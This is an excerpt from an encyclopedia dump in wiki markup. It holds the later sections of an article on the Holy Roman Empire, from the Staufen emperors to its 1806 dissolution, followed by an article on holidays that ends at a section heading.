Another important constitutional move at Roncaglia was the establishment of a new peace ''(Landfrieden)'' for all of the Empire, an attempt to (on the one hand) abolish private vendettas not only between the many local dukes, but on the other hand a means to tie the Emperor's subordinates to a legal system of jurisdiction and public prosecution of criminal acts &amp;ndash; a predecessor concept of &quot;[[rule of law]]&quot;, in modern terms, that was, at this time, not yet universally accepted.

In order to solve the problem that the emperor was (after the Investiture Controversy) no longer as able to use the church as a mechanism to maintain power, the Staufer increasingly lent land to ''ministerialia'', formerly unfree service men, which Frederick hoped would be more reliable than local dukes. Initially used mainly for war services, this new class of people would form the basis for the later [[knights]], another basis of imperial power.

Another new concept of the time was the systematic foundation of new cities, both by the emperor and the local dukes. These were partly due to the explosion in population, but also to concentrate economic power at strategic locations, while formerly cities only existed in the shape of either old Roman foundations or older bishoprics. Cities that were founded in the 12th century include [[Freiburg]], possibly the economic model for many later cities, and [[Munich]].

The later reign of the last Staufer Emperor, [[Frederick II, Holy Roman Emperor|Frederick II]], was in many ways different from that of earlier Emperors. Still a child, he first reigned in [[Sicily]], while in Germany, Barbarossa's second son [[Philip of Swabia]] and Henry the Lion's son [[Otto IV]] competed with him for the title of King of the Germans. After finally having been crowned emperor in [[1220]], he risked conflict with the pope when he claimed power over Rome; astonishingly to many, he managed to claim Jerusalem in a [[Crusade]] in [[1228]] while still under the pope's ban.

While Frederick brought the mythical idea of the Empire to a last highpoint, he was also the one to initiate the major steps that led to its disintegration. On the one hand, he concentrated on establishing a &amp;ndash; for the times &amp;ndash; extraordinarily modern state in Sicily, with public services, finances, and jurisdiction. On the other hand, Frederick was the emperor who granted major powers to the German dukes in two far-reaching privileges that would never be reclaimed by the central power. In the [[1220]] ''[[Confoederatio cum principibus ecclesiasticis]]'', Frederick basically gave up a number of ''regalia'' in favour of the bishops, among them tariffs, coining, jurisdiction and fortification. The [[1232]] ''[[Statutum in favorem principum]]'' mostly extended these privileges to the other (non-clerical) territories (Frederick II was forced to give those privileges by a rebellion of his son, Henry). Although many of these privileges had existed earlier, they were now granted globally, and once and for all, to allow the German dukes to maintain order north of the Alps while Frederick wanted to concentrate on his homelands in Italy. The 1232 document marked the first time that the German dukes were called ''domini terrae'', owners of their lands, a remarkable change in terminology as well.

The [[Teutonic Knights]] were invited to [[Poland]] by the duke of [[Masovia]] [[Konrad of Masovia]] to Christianize the Prussians in [[1226]].

=== The rise of the territories after the Staufen ===
After the death of Frederick II in [[1250]], none of the dynasties worthy of producing the king proved able to do so, and the leading dukes elected several competing kings. The time from [[1246]] (beginning with the election of [[Heinrich Raspe]] and [[Count William II of Holland|William of Holland]]) to [[1273]], when [[Rudolph I of Habsburg]] was elected king, is commonly referred to as the [[Interregnum]]. During the Interregnum, much of what was left of imperial authority was lost, as the princes were given time to consolidate their holdings and become even more independent rulers.

The difficulties in electing the king eventually led to the emergence of a fixed college of electors, the ''[[prince-elector|Kurfürsten]]'', whose composition and procedures were set forth in the [[Golden Bull of 1356]]. This development probably best symbolizes the emerging duality between ''Kaiser und Reich'', emperor and realm, who were no longer considered identical. This is also revealed in the way the post-Staufen kings attempted to sustain their power. Earlier, the Empire's strength (and finances) greatly relied on the Empire's own lands, the so-called ''Reichsgut,'' which always belonged to the respective king (and included many Imperial Cities). After the 13th century, its relevance faded (even though some fractions of it did remain until the Empire's end in 1806). Instead, the ''Reichsgut'' was increasingly pawned to local dukes sometimes to raise money for the Empire but, more frequently, to reward faithful duty or as an attempt to [[civilize]] stubborn dukes. The direct governance of the ''Reichsgut'' no longer matched the needs of either the king or the dukes.

Instead, the kings, beginning with [[Rudolph I of Habsburg]], increasingly relied on the lands of their respective dynasties to support their power. In contrast with the ''Reichsgut'', which was mostly scattered and difficult to administer, the territories were comparably compact and thus easier to control. In [[1282]], Rudolph I thus lent his own Austria and [[Styria (duchy)|Styria]] to his own sons.

With [[Henry VII, Holy Roman Emperor|Henry VII]], the [[House of Luxembourg]] entered the stage. In 1312, he was crowned as the first Holy Roman Emperor since Frederick II. After him all kings and emperors relied on the lands of their own family (''Hausmacht''): [[Louis IV, Holy Roman Emperor|Louis IV]] of [[Wittelsbach]] (king 1314, emperor 1328&amp;ndash;1347) relied on his lands in Bavaria; [[Charles IV, Holy Roman Emperor|Charles IV]] of Luxembourg, the grandson of Henry VII, drew strength from his own lands in Bohemia. Interestingly, it was thus increasingly in the king's own interest to strengthen the power of the territories, since the king profited from such a benefit in his own lands as well.

The 13th century also saw a general structural change in how land was administered. Instead of personal duties, [[money]] increasingly became the common means to represent economic value in agriculture. Peasants were increasingly required to pay tribute for their lands. The concept of &quot;property&quot; more and more replaced more ancient forms of jurisdiction, although they were still very much tied together. In the territories (not at the level of the Empire), power became increasingly bundled: Whoever owned the land had jurisdiction, from which other powers derived. It is important to note, however, that jurisdiction at this time did not include legislation, which virtually did not exist until well into the 15th century. Court practice heavily relied on traditional customs or rules described as customary.

It is during this time that the territories began to transform themselves into predecessors of modern states. The process varied greatly among the various lands and was most advanced in those territories that were most identical to the lands of the old Germanic tribes, ''e.g.'' Bavaria.  It was slower in those scattered territories that were founded through imperial privileges.

=== Imperial Reform ===
[[Image:Imperial Circles-2005-10-15-en.png|right|thumb|220px|Map of the Empire showing division into Circles in 1512]]

The &quot;constitution&quot; of the Empire was still largely unsettled at the beginning of the [[15th century]]. Although some procedures and institutions had been fixed, for example by the [[Golden Bull]] of [[1356]], the rules of how the king, the electors, and the other dukes should cooperate in the Empire much depended on the personality of the respective king. It therefore proved somewhat fatal that [[Sigismund, Holy Roman Emperor|Sigismund of Luxemburg]] (king 1410, emperor 1433&amp;ndash;1437) and [[Frederick III, Holy Roman Emperor|Frederick III of Habsburg]] (king 1440, emperor 1452&amp;ndash;1493) neglected the old core lands of the empire and mostly resided in their own lands. Without the presence of the king, the old institution of the ''Hoftag'', the assembly of the realm's leading men, deteriorated. The ''[[Reichstag (institution)|Reichstag]]'' as a legislative organ of the Empire did not exist yet. Even worse, dukes often went into feuds against each other that, more often than not, escalated into local wars.

At the same time, the church was in crisis too. The conflict between several competing popes was only resolved at the [[Council of Constance]] ([[1414]]&amp;ndash;[[1418]]); after [[1419]], much energy was spent on fighting the [[heresy]] of the [[Hussites]]. The medieval idea of a unified [[Corpus christianum]], of which the papacy and the Empire were the leading institutions, began to decline.

With these drastic changes, much discussion emerged in the [[15th century]] about the Empire itself. Rules from the past no longer adequately described the structure of the time, and a reinforcement of earlier ''Landfrieden'' was urgently called for. During this time, the concept of &quot;reform&quot; emerges, in the original sense of the Latin verb ''re-formare'', to regain an earlier shape that had been lost.

[[Image:Quaterionenadler David de Negker.jpg|thumb|The double-headed eagle as symbol of the empire]]
When [[Frederick III, Holy Roman Emperor|Frederick III]] needed the dukes to finance war against Hungary in 1486 and at the same time had his son, later [[Maximilian I, Holy Roman Emperor|Maximilian I]] elected king, he was presented with the dukes' united demand to participate in an Imperial Court. For the first time, the assembly of the electors and other dukes was now called ''Reichstag'' (to be joined by the [[Imperial Free City|Imperial Free Cities]] later). While Frederick refused, his more conciliant son finally convoked the ''Reichstag'' at [[Worms, Germany|Worms]] in [[1495]], after his father's death in 1493. Here, the king and the dukes agreed on four bills, commonly referred to as the [[Imperial Reform|''Reichsreform'' (Imperial Reform)]]: a set of legal acts to give the disintegrating Empire back some structure. Among others, this act produced the [[Imperial Circle Estates]] and the ''[[Reichskammergericht]],'' (Imperial Chamber Court); structures that would &amp;ndash; to a degree &amp;ndash; persist until the end of the Empire in 1806.

However, it should take a few more decades until the new regulation was universally accepted and the new court began to actually function; only in [[1512]] would the [[Imperial Circle|Imperial Circles]] be finalized. The King also made sure that his own court, the ''Reichshofrat'', continued to function in parallel to the ''Reichskammergericht''. It is interesting to note that in this year, the Empire also receives its new title, the ''Heiliges Römisches Reich Deutscher Nation'' (&quot;Holy Roman Empire of the German Nation&quot;).

=== Crisis after Reformation ===
When [[Martin Luther]] in [[1517]] initiated what would later be known as the [[Reformation]], many local dukes saw the chance to oppose the Emperor [[Charles V, Holy Roman Emperor|Charles V]]. The empire became fatally divided along religious lines, with the North and East and many of the major cities, such as Strassburg, Frankfurt and Nuremberg, becoming [[Protestant]], and the southern and western regions largely remaining [[Roman Catholic|Catholic]]. Religious conflicts were waged in various parts of Europe for a century, though in German regions there was relative quiet from the [[Peace of Augsburg]] in 1555 until the [[Defenestration of Prague]] in 1618. When Bohemians rebelled against the emperor, the immediate result was the series of conflicts known as the [[Thirty Years' War]] (1618&amp;ndash;1648), which devastated the Empire. Foreign powers, including France and Sweden intervened in the conflict, strengthening those fighting Imperial power, and seizing considerable chunks of territory for themselves.  The long conflict bled the empire which would never recover its former strength.

=== The long decline ===
The actual end of the empire came in several steps. After the [[Peace of Westphalia]] in [[1648]], which gave the territories almost complete [[sovereignty]], even allowing them to form independent alliances with other states, the Empire was only a mere conglomeration of largely independent states.  By the rise of [[Louis XIV of France|Louis XIV]] of [[France]], the Holy Roman Empire as such had lost all power and clout in major European politics. The [[Habsburg]] emperors relied more on their role as Austrian archdukes than as emperors when challenged by [[Prussia]], portions of which were part of the Empire. Throughout the 18th century, the Habsburgs were embroiled in various European conflicts.  From 1792 onwards, [[French Revolutionary Wars|revolutionary France]] was at war with various parts of the Empire intermittently.  The Empire was formally dissolved on [[August 6]], [[1806]] when the last Holy Roman Emperor [[Francis II of the Holy Roman Empire|Francis II]] (from 1804, Emperor Francis I of [[Austria]]) abdicated, following a military defeat by the French Army under [[Napoleon]] (see [[Treaty of Pressburg]]).  Napoleon reorganized much of the empire into the [[Confederation of the Rhine]].  This ended the so-called [[First Reich]]. Francis II's family continued to be called Austrian emperors until [[1918]]. Germany itself would not become one unified state until [[1871]] after the Franco-Prussian War.

== Analysis ==
It has been said that modern history of Germany was primarily predetermined by three factors: the ''[[Reich]]'', the [[Reformation]], and the later dualism between [[Austria]] and [[Prussia (state)|Prussia]].[1] Many attempts have been made to explain why the ''Reich'' never managed to gain a strong centralized power over the territories, as opposed to neighboring France. Some reasons include:

* The ''Reich'' had been a very federal body from the beginning: again, as opposed to France, which had mostly been part of the Roman Empire, in the eastern parts of the Frankish kingdom, the Germanic tribes were much more independent and reluctant to cede power to a central authority. All attempts to make the kingdom hereditary failed; instead, the king was always elected. Later, every candidate for the king had to make promises to his electorate, the so-called ''Wahlkapitulationen'' (election capitulations), thus granting the territories more and more power over the centuries.

* Due to its religious connotations, the ''Reich'' as an institution was severely damaged by the contest between the Pope and the German Kings over their respective coronations as Emperor. It was never entirely clear under which conditions the pope would crown the emperor and especially not whether the worldly power of the emperor was dependent on the clerical of the pope. Much debate occurred over this, especially during the 11th century, eventually leading to the [[Investiture Controversy]] and the [[Concordat of Worms]] in [[1122]].

* Whether the [[feudal]] system of the ''Reich'', where the King formally was the top of the so-called &quot;feudal pyramid&quot;, was a cause for or a symptom of the Empire's weakness is unclear. In any case, military obedience, which &amp;ndash; according to Germanic tradition &amp;ndash; was closely tied to the giving of land to tributaries, was always a problem: when the ''Reich'' had to go to war, decisions were slow and brittle. &lt;!--''(to do this needs more explanations)''--&gt;

* Until the sixteenth century, the economic interests of the south and west diverged from those of the north where the [[Hanseatic League]] operated.  This was far more closely allied to Scandinavia and the Baltic than the rest of Germany.

* German historiography nowadays often views the Holy Roman Empire as a well balanced system of organizing a multitude of (effectively independent) states under a complex system of legal regulations. Smaller estates like the Lordships or the Imperial Free cities survived for centuries as independent embodies, although they had no effective military strength. The supreme courts, the [[Aulic Council|Reichshofrat]] and the [[Reichskammergericht]] helped to settle conflicts or at least turning them in a war by notes instead of a war by guns. 

* The multitude of different territories with different religious denominations and different forms of government lead to a great variety of cultural diversification, which can be felt even in present day Germany with regional  cultures, patterns of behavior and dialects changing sometimes within the range of kilometers.

==Successive German Reichs==
After the unification of Germany as a [[nation state]] in [[1871]] (see [[German Empire]]), the Holy Roman Empire was sometimes known as the First [[Reich]] while the new empire was known as the Second Reich. After the end of [[World War I]], the creation of the [[Weimar Republic]], and [[Nazi Germany]]'s rise, the Nazis referred to Germany as the [[Third Reich]], counting the 1871 Empire as the second, to connect itself with an idealized past and present itself as being in continuity with ancient traditions. The German usage is that the first reich is called &quot;Altes Reich&quot; (old empire) and the second reich as &quot;Kaiserreich&quot; or &quot;Wilhelminisches Reich&quot;.

== See also ==
{{commons|Category:Holy Roman Empire}}
* [[History of Germany]]
* [[History of Austria]]
* [[History of Liechtenstein]]
* [[History of the Netherlands]]
* [[History of Switzerland]]
* [[History of the Czech lands]]
* [[History of Italy]]
* [[History of Poland]]
* [[Holy Roman Emperor]]
* [[List of Holy Roman Emperors]]
* [[List of German monarchs]]
* [[Reichstag (institution)]]
* [[Imperial Circle]]
* [[List of states in the Holy Roman Empire]]
* [[Brandenburg]]
* [[Prussia (state)| Prussia]]
* [[Austria]]
* [[Bavaria]]
* [[Saxony]]
* [[Hanover]]
* [[Palatinate]]
* [[Silesia]]
* [[Pomerania]]
* [[Bohemia]]
* [[Studium generale|Studia Generali]]

==References==
* Heinz Angermeier, ''Das Alte Reich in der deutschen Geschichte''. Studien über Kontinuitäten und Zäsuren, München 1991.
* Karl Otmar Freiherr von Aretin, ''Das Alte Reich 1648-1806''. 4 vols. Stuttgart, 1993-2000.
* Peter Claus Hartmann, ''Kulturgeschichte des Heiligen Römischen Reiches 1648 bis 1806''. Wien, 2001.
* Georg Schmidt, ''Geschichte des Alten Reiches''. München, 1999.
* [[James Bryce]], ''The Holy Roman Empire''. ISBN 0333036093
* Jonathan W. Zophy (ed.), ''The Holy Roman Empire: A Dictionary Handbook''. Greenwood Press, 1980.
* [http://www.historischekommission-muenchen.de/seiten/projekte.html Deutsche Reichstagsakten]

==External links==

*[http://www.uni-muenster.de/FNZ-Online/recht/reich/unterpunkte/nation.htm The constitutional structure of the Reich]
*[http://www.dasheiligereich.de/ Das Heilige Reich (German Museum of History, Berlin)]
*[http://www.zum.de/whkmla/military/germany/milxhrempire.html List of Wars of the Holy Roman Empire]
*[http://www.mgh-bibliothek.de/lexikothek/reich2.html Deutschland beim Tode Kaiser Karls IV. 1378 (Germany at the death of emperor Charles IV.) taken from &quot;Meyers Kleines Konversationslexikon in sechs Bänden. Bd. 2. Leipzig u. Wien : Bibliogr. Institut 1908&quot;, map inserted after page 342]
*[http://www.altes-reich.de/literatur.html Books and articles on the Reich]

===Maps===

*[http://home.comcast.net/~vienna1230/maps/holy_roman_empire_1138_1254.jpg The Holy Roman Empire, 1138-1254]
*[http://mrorr.org/German%20lands%201398.jpg The Holy Roman Empire in 1398]
*[http://mrorr.org/Holy%20roman%20Empire%201547.jpg The Holy Roman Empire in 1547]
*[http://corndancer.com/vox/aer/aer_art/map01_1648.jpg The Holy Roman Empire in 1648]
*[http://www.hoeckmann.de/deutschland/index.htm The Holy Roman Empire in 1789 (Interactive map)]

[[Category:Holy Roman Empire| *]]
[[Category:Former countries in Europe|Germany]]
[[Category:History of Austria]]
[[Category:Emperors]]
[[Category:Habsburg]]
[[Category:Former monarchies]]
[[Category:History of Austria]]
[[Category:History of Germany]]
[[Category:Empires|Roman]]
[[Category:843 establishments]]
[[Category:1806 disestablishments]]

[[be:Свяшчэнная Рымская Імперыя]]
[[bg:Свещена Римска империя]]
[[ca:Sacre Imperi Romano-Germànic]]
[[cs:Svatá říše římská]]
[[cy:Yr Ymerodraeth Rufeinig Sanctaidd]]
[[da:Tysk-romerske rige]]
[[de:Heiliges Römisches Reich]]
[[es:Sacro Imperio Romano Germánico]]
[[eo:Sankta Romia Imperio]]
[[fa:امپراطوری مقدس روم]]
[[fr:Saint Empire romain germanique]]
[[ko:신성 로마 제국]]
[[hr:Sveto Rimsko Carstvo]]
[[id:Kekaisaran Suci Romawi]]
[[it:Sacro Romano Impero]]
[[he:האימפריה הרומית הקדושה]]
[[ka:საღვთო რომის იმპერია]]
[[la:Imperium Romanum Sacrum]]
[[lv:Svētā Romas impērija]]
[[lt:Šventoji Romos imperija]]
[[lb:Hellegt Réimescht Räich vun Däitscher Natioun]]
[[hu:Német-római Birodalom]]
[[nl:Heilige Roomse Rijk]]
[[nds:Römsche Riek vun de düütsche Natschoon]]
[[ja:神聖ローマ帝国]]
[[no:Det hellige romerske rike av den tyske nasjon]]
[[pl:Święte Cesarstwo Rzymskie Narodu Niemieckiego]]
[[pt:Sacro Império Romano-Germânico]]
[[ro:Sfântul Imperiu Roman]]
[[ru:Священная Римская империя]]
[[sk:Rímskonemecká ríša]]
[[sl:Sveto rimsko cesarstvo]]
[[sr:Свето римско немачко царство]]
[[fi:Pyhä saksalais-roomalainen keisarikunta]]
[[sv:Tysk-romerska riket]]
[[uk:Священна Римська Імперія]]
[[wa:Sint Impire Romin Djermanike]]
[[zh:神圣罗马帝国]]

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    <title>Holidays</title>
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  <page>
    <title>Holiday</title>
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      <text xml:space="preserve">:''For films with the same title, see [[Holiday (film)|Holiday film (disambiguation)]]. For songs with the same title, see [[Holiday (song)|Holiday song (disambiguation)]].''

The word '''holiday''' has related but different meanings in English-speaking countries. Based on the words [[holy]] and [[day]] -, holidays originally represented special religious days. The word has evolved in general usage to mean any special day.

In most of the English-speaking world a holiday is also a period spent away from home or business in [[travel]] or [[recreation]] (e.g. &quot;I'm going on holiday to [[Malta]] next week&quot;), the North American equivalent being &quot;[[vacation]]&quot;.  However, some Canadians (especially those of English or Irish decent) will use both the terms vacation and holiday interchangeably when referring to a trip away from home or time off work.

In [[Canada]] and the [[United States]], a '''Holiday''' is a day set aside by a [[nation]] or [[culture]] (in some cases, multiple nations and cultures) typically for [[celebration (party)|celebration]] but sometimes for some other kind of special culture-wide (or national) observation or activity. A holiday can also be a special day on which school and/or offices are closed, such as Labor Day.

&lt;!--
The term ''farmy holidays'' is used in reference to [[agritourism]]. 
^ no evidence for this outside Wikipedia
--&gt;

==Public holidays==

A '''public holiday''' or '''legal holiday''' is a holiday endorsed by the [[state]]. Public holidays can be either religious, in which case they reflect the dominant [[religion]] in a country, or [[secular]], in which case they are usually [[political]] or [[historical]] in character. &quot;Public Holiday&quot; is the term used in Australia and &quot;Bank Holiday&quot; in the UK — although some industries in the UK work through Bank Holidays — while &quot;[[Legal holiday]]&quot; is the term used within the United States of America.

==Consecutive holidays==

'''Consecutive holidays''' are a string of holidays taken together without working days in between. They tend to be considered a good chance to take short trips. In late 1990s, the [[Japan]]ese government passed a law that increased the likelihood of consecutive holidays by moving holidays from fixed days to a relative position in a month, such as the second Monday. Well-known consecutive holidays include:
* Began at 2000, in the [[People's Republic of China]], [[Spring Festival]], [[May Day|Labor Day]] and [[National Day]] are week-long holidays.
* In Japan, ''[[golden-week]]'', lasting roughly a full week.
* In [[Poland]] during holidays on the [[1 May|1st]] and [[3 May|3rd May]], when taking a few days of [[leave]] can result in [[Holidays in Poland|9-day]]-long holidays; this is called The [[Picnic]] (or Majówka).
* In [[Ireland]], [[St. Patrick's Day]] can occasionally occur in [[Holy Week]], the week before [[Easter]]; in this case the three holidays (St. Patrick's Day, [[Good Friday]], and [[Easter Monday]]) plus three days leave can result in a 10-day break.
* In [[Australia]] and [[England]], a public holiday otherwise falling on a Sunday will result in observance of the public holiday on the next available weekday (generally Monday). This arrangement results in a [[Long_weekend|long weekend]]
* The [[Congress of the United States|U.S. Congress]] changed the observance of [[Memorial Day]], [[Veterans Day]], and [[Presidents' Day|Washington's Birthday]] from fixed dates to certain Mondays in 1968 (effective 1971). Several states had passed similar laws earlier.

== Religious holidays ==

=== [[Buddhist]] holidays ===
*[[Wesak]]
*[[Matsuri]] (in [[Japan]], could also be considered a [[Shinto]] holiday)
*[[Blessed Rainy Day]] in [[Bhutan]]

=== [[Celtic mythology|Celtic]], [[Norse mythology|Norse]], and [[Neopaganism|Neopagan]] holidays ===
''In the order of the [[Wheel of the Year]]:''
*[[Samhain]] (Celtic): [[31 October]]-[[1 November]], Celtic [[New Year]], first day of [[winter]]
*[[Winternights]] (Norse): [[29 October]]-[[2 November]], Norse [[New Year]]
*[[Yule]] (Norse): [[21 December]]-[[22 December]], [[winter solstice]], Celtic [[mid-winter]]
*[[Imbolc]] (Celtic): [[1 February]]-[[2 February]], Celtic first day of [[Spring (season)|spring]]
*[[Ostara]]/[[Easter]] (Norse): [[21 March]]-[[22 march]], [[vernal equinox]], Celtic [[mid-spring]]
*[[Beltane]] (Celtic): [[30 April]]-[[1 May]], Celtic first day of [[summer]]
*[[Litha]] (Norse): [[21 June]]-[[22 June]], [[summer solstice]], Celtic [[midsummer|mid-summer]]
*[[Lughnasadh]] (Celtic): [[1 August]]-[[2 August]], Celtic first day of [[autumn]]
*[[Mabon]]/[[Harvest End]] (Norse): [[21 September]]-[[22 September]], [[autumnal equinox]], Celtic [[mid-fall]]

=== [[Christianity|Christian]] holidays ===
{{seealso|liturgical year}}
*[[Advent]]
*[[All Saints' Day]]
*[[All Souls' Day]]
*[[Ascension Day]] (Ascension of [[Jesus]] into Heaven)
*[[Ash Wednesday]]
*[[Assumption of Mary]] (Assumption of the Virgin Mary)
*[[Candlemas]]
*[[Childermas]]
*[[Christmas]] (Birth of [[Jesus]])
*[[Corpus Christi]]
*(Sacrifice of [[Jesus]])
*[[Easter]] ([[Resurrection of Jesus]])
*[[Easter Triduum]]
**[[Easter Vigil]]
**[[Good Friday]] (Death of [[Jesus]])
**[[Holy Saturday]]
**[[Holy Thursday]] (Celebration of [[The Last Supper]])
*[[Epiphany (feast)|Epiphany]]
*[[Lent]]
*[[Pentecost]] or [[Whitsun]] (Descent of the [[Holy Spirit]] upon the disciples of [[Jesus]])
*[[Shrove Tuesday]] or [[Mardi Gras]] (last day of [[Carnival]])
*[[Winter Lent]]
*[[Watch Night]]

The Catholic [[fiesta patronal|fiestas patronales]] are celebrated in each place's patron saint's day, according to the [[Calendar of saints]].

=== [[Hinduism|Hindu]] holidays===
*[[Baisakhi]] 
*[[Daserra]]
*[[Diwali]]
**[[Diwali Amvasaya]] ([[Laxmi]] Puja)
**Diwali (day 2)
**[[Bhaubeej]]
*[[Ekadasi]]
*[[Ganesh Chaturthi]]
*[[Gokul Ashtami]]
*[[Gudhi Padwa]]
*[[Holi]]
*[[Mahashivratri]]
*[[Makar Sankranti]]
*[[Onam]]
*[[Pongal]]
*[[Rama-Lilas]]
*[[Ram Navami]]
*[[Vaikunta Ekadasi]]
*Ugadi

=== [[Islam]]ic holidays ===
*[[Aashurah]] (especially in [[Shi'a Islam]])
*[[Eid festival|Eid]]: date determined by the [[lunar calendar]] and observation of the moon
**[[Eid ul-Fitr]], Lesser Bairam
***[[Eid ul-Adha]], Greater Bairam
*[[Festival of Muharram]]
*[[Ramadan]]

=== [[Jewish]] holidays ===
{{main|Jewish holiday}}
*[[Hanukkah]] (also: Chanukah; the Festival of Lights)
*[[Lag Ba'omer]]
*[[Passover]]
*[[Purim]] (Based on the events in the Biblical book of Esther)
*[[Rosh Hashanah]] (New Year)
*[[Shavuot]] (Pentecost)
*[[Sukkot]] (The Feast of Tabernacles)
*[[Tisha B'Av]]
*[[Tu Bishvat]] (New year of the trees)
*[[Yom Kippur]] (Day of Atonement)

=== [[Bahá'í Faith|Bahá'í]] holidays ===
{{main|Bahá'í calendar}}
*[[Naw Ruz]] (Bahá'í New Year) 
*1st Day of [[Ridván]]
*9th Day of Ridvan
*12th Day of Ridvan
*Declaration of the [[Báb]]
*Ascension of [[Bahá'u'lláh]]
*Martyrdom of the Báb
*Birth of the Báb
*Birth of Bahá'u'lláh

==The Northern Hemisphere winter holiday season==

In many [[Western countries]], the '''winter holiday season''' is a period of time surrounding [[Christmas]]. Except in North America, the phrases &quot;holiday season&quot; and &quot;holiday period&quot; usually mean the summer months when most people take their annual holiday (&quot;[[vacation]]&quot; in North American English), and phrases such as the &quot;festive period&quot; are used to describe the period around [[Christmas]] and [[New Year]]. Usually, this festive period begins near the end of November and ends with [[New Year's Day]] on [[January 1]], reflecting traditional [[Paganism|pagan]] celebrations of the period around the [[winter solstice]] in the northern hemisphere. In some [[Christianity|Christian]] countries, the end of the festive season is considered to be after the feast of [[Epiphany]], although this has only symbolic value.

===Holidays traditionally in the winter holiday season===

*[[Thanksgiving]] - (second Monday in October in Canada, fourth Thursday in November in USA) &amp;mdash; Holiday generally observed as an expression of [[gratitude]], traditionally to [[God]], for the [[autumn]] [[harvest]].  It is traditionally celebrated with a meal shared among friends and family in which [[turkey (bird)|turkey]] is eaten. It is celebrated by many as a secular holiday, and in the USA marks the beginning of the &quot;holiday season&quot;.

*[[Hanukkah]] - (26 [[Kislev]] - 2/3 [[Tevet]] - almost always in December) &amp;mdash; [[Jew]]ish holiday celebrating the defeat of [[Seleucid Empire|Seleucid]] forces who had tried to prevent [[Israel]] from practising [[Judaism]], and also celebrating the miracle of the [[Menorah]] lights burning for eight days with only enough (olive) oil for one day.

*[[Christmas Day]] - ([[25 December]]) &amp;mdash; [[Christianity|Christian]] holiday commemorating the traditional birth-date of [[Jesus]]. Christmas is also celebrated as a secular gift-giving holiday; other observances include the decoration of trees and houses.

*[[Kwanzaa]] (USA) - ([[26 December]] - [[1 January]]) &amp;mdash; Holiday observance held from [[December 26]] to [[January 1]] honoring African-American heritage, primarily in the United States. It was created in 1966.

*[[Boxing Day]] ([[26 December]]) &amp;mdash; Holiday observed in many Commonwealth countries on [[26 December]]. In many European countries it is also a holiday, called St Stephen's Day or the second day of Christmas.

*[[New Year's Day]] - ([[1 January]]) &amp;mdash; Holiday observing the first day of the year in the [[Gregorian calendar]]. Preceded by [[New Year's Eve]] on [[31 December]], which is celebrated with festivities in anticipation of [[New Year's Day]].

===Winter holiday greetings===
With the winter holidays, come various different greetings appropriate for each holiday or the entire season. They are:

* [[Merry Christmas]] (sometimes referenced in Spanish or French as ''Feliz Navidad'' and ''Joyeux Noel'')
* Happy Hanukkah
* Season's Greetings
* [[Happy Holidays|Happy Holiday(s)]]
* Joyous Yule
* Happy Kwanzaa
* Happy New Year
* Happy Solstice
* Happy Thanksgiving
* Happy Winter

==National holidays==
{{further|[[national holiday]] and [[list of holidays by country]]}}

==International holidays (secular)==

Many other days are marked to celebrate events or people, but are not strictly holidays as time off work is rarely given. 

* [[Perihelion]] ([[3 January|3]]-[[6 January]], depending on year and location)
* [[Valentine's Day]] ([[14 February]])
* [[Leap Day]] ([[29 February]], every four years)
* [[Astronomy Day]] (date varies depending on cycle of [[Moon]])
* [[April Fool's Day]] ([[1 April]])
* [[Earth Day]] ([[22 April]])
* [[May Day|Labour Day, Worker's Day or May Day]] ([[1 May]], ''most countries - [[United States]] and [[Canada]] are prominent exceptions)''
* [[Mother's Day]] (second Sunday in May in North America, fourth Sunday in [[Lent]] in UK)
* [[World Ocean Day]] ([[8 June]])
* [[Father's Day]] (third Sunday in June; [[19 March]], others; [[8 August]], [[Republic of China]])
* [[Halloween]] ([[31 October]])
* [[United Nations]] holidays
* [[International Women's Day]] (8th of March, particularly in Eastern European Countries)

==Other secular holidays==

Other secular holidays not observed internationally:

*[[Boxing Day]] ([[26 December]] in the [[Commonwealth of Nations]])
*[[Flag Day]] ([[14 June]] in the United States)
*[[Grandparent's Day]] (Sunday after September Labor Day - proclaimed in the United States by [[Jimmy Carter]] in 1978)
*[[Groundhog Day]] ([[2 February]] in United States and Canada)
*[[Labor Day]] (a United States federal holiday that takes place on the first Monday of September)
*[[Labour Day]] (Many European countries celebrate Labour Day on [[May 1]]) 
*[[Independence day]] (observed by many different countries at different dates)
*[[Lee-Jackson-King Day]] ([[20 January]]) Combined holiday celebrated in the [[Commonwealth of Virginia]] from 1984 to 2000
*[[Loyalty Day]] ([[1 May]] in the United States)
*[[Martin Luther King Day]] (third Monday in January in the United States)
*[[Mother-in-Law's Day]] (fourth Sunday in October, ''where?'')
*[[Patriot's Day]] (third Monday in April in Massachusetts and Maine, United States)
*[[Pioneer Day]] ([[24 July]] in Utah, United States)
*[[Koninginnedag|Queen's Day]] ([[30 March]] in the Netherlands)
*[[Sweetest Day]] (third Saturday in October, Ohio, Wisconsin, and Michigan in the United States)
*[[:Category:Latvian holidays|Holidays originating in ancient Latvia]]

==Unofficial holidays==

These are holidays celebrated by various groups and individuals. Some are designed to promote a cause, others recognize historical events not recognized officially, and others are &quot;funny&quot; holidays, generally intended as humorous distractions and excuses to share laughs among friends.

*[[24-hour comic|24-hour Comics Day]] ([[24 April]])
*[[Ask a Stupid Question Day]] ([[28 September]])
*[[Blame Someone Else Day]] (first [[Friday the 13th]] of the year)
*[[Bloomsday]] ([[16 June]] based on [[James Joyce]]'s novel ''[[Ulysses (novel)|Ulysses]]'')
*[[Break up Day]] ([[13 February]])
*[[Buy Nothing Day]] (The Day After Thanksgiving)
*[[Evoloterra]] ([[20 July]] celebrates the first manned [[Moon Landing]])
*[[Festivus]] ([[23 December]])
*[[Flying Spaghetti Monsterism]] Holy Day (every Friday)
*[[International Cannabis Day]] ([[20 April]])
*[[International Dadaism Month]] ([[4 February]], [[1 April]], [[28 March]], [[15 July]], [[2 August]], [[7 August]], [[16 August]], [[26 August]], [[18 September]], [[22 September]], [[1 October]], [[17 October]], [[26 October]])
*[[International Talk Like a Pirate Day]] ([[19 September]])
*[[Mole Day]] ([[23 October]])
*[[No Pants Day]] (first Friday of May)
*[[Pi Approximation Day]] ([[22 July]])
*[[Pi Day]] ([[14 March]])
* [[Steak and Blowjob Day]]([[14 March]])
*[[Tax Freedom Day]] (calculated by dividing the tally of all taxes collected in each year by a tally of all income, and applying it to the calendar)
*[[Towel Day]] ([[25 May]]) (a tribute to the late [[Douglas Adams]])
*[[Wintereenmas]] ([[25 January]] through [[31 January]])
*[[X-Day]] ([[5 July]] in the Church of the SubGenius)

==Vanishing holidays==
